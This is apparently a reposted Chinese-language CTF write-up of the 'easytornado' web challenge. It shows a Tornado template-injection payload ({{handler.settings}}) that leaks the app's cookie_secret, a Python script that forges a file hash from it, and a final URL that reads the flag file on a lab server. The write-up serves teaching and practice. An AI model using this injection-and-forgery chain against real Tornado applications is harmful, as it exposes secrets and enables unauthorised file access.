栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

攻防世界--Web进阶--easytornado---模板注入

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

攻防世界--Web进阶--easytornado---模板注入

目录

信息搜集 

模板注入

生成filehash


信息搜集 

 

 发现flag的位置,于是我们试试能不能访问

 报错了

查看/welcome.txt

  由于render是一个Tomado框架的一个渲染函数,即可以通过传递不同的参数形成不同的页面。

render({options})可以猜测有模板注入漏洞。

 /hints.txt提醒md5(cookie_secret+md5(filename))

 

 这个应该是file的hash算法了

filename应该是/fllllllllllllag   cookie_secret不清楚

模板注入

通过查阅文档发现cookie_secret在Application对象settings属性中,

因此注入

http://111.200.241.244:53902/error?msg={{Requsethandler.application.settings}}

 发现出错了。应该是被加入黑名单了

还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。

因此注入

http://111.200.241.244:53902/error?msg={{handler.settings}}

生成filehash
import hashlib

def md5(s):
 return hashlib.md5(s.encode('utf-8')).hexdigest()  
//注意要先将字符串utf-8加密后再MD5 然后再返回加密字符串
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'de9d729b-c6d5-4422-903d-d3c5495865af'
 print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
 filehash()

 Payload

​​http://111.200.241.244:53902/file?filename=/fllllllllllllag&filehash=0f73b42a93032d3fa60a3f09b6c22a13

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/317122.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号